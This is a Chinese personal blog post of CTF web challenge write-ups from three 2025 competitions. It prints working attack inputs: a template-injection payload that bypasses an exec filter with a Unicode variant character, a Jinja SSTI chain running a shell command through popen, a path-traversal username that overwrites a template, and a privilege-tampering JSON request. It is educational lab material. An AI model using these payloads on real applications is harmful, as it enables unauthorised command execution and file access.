2025第一季度个人解出的web题目部分题解
2025第一季度个人解出的web题目部分题解
VNCTF2025-web-学生姓名登记系统
VNCTF唯一解出的一道web题,题目提示是单文件模板引擎,搜半天也不知道是啥,最后靠试试出来{{}}
可以进行代码执行,${}
经测试好像能进行字符拼接,但是好像有点问题。
用ᵉ
这样的变体字符来进行对exec过滤的绕过,剩下的就是对字符串进行拼接,以及使用chr()函数,来进行模板注入了。题目对危险函数有过滤,有几个被禁用了。
直接放出Exp
1 | {{ᵉxec("s='outp'")}} |
PwnMe 2025 CTF-web-Profile_Editor
字符串是直接拼接的
1 | profiles_file = 'profile/' + session.get('username') |
创建用户名为../templates/show_profile
的用户,可以导致路径穿越,实现对模板文件的覆盖
然后就可以模板注入了
1 | {{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /app/flag.txt').read()}} |
比赛代码仓库:https://github.com/Phreaks-2600/PwnMeCTF-2025-quals
红明谷2025-web-简单的仓库
先来一套目录扫描
1 | Target: http://eci-2zefyydc0iza52rh6cjw.cloudeci1.ichunqiu.com/ |
充值时抓包发现修改权限等级permission
为admin
可以实现直接充值
1 | {"amount":"999999","username":"rusty","permission":"admin"} |
接下来抓包将user改为admin来读取admin的readme.txt可以看到hint,告诉了flag的绝对路径
发现/api/files
这个显示目录的api有路径穿越
接着发现用户名是在file目录下分别有目录的,最后通过user实现路径穿越得到flag。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Rusty_Blog!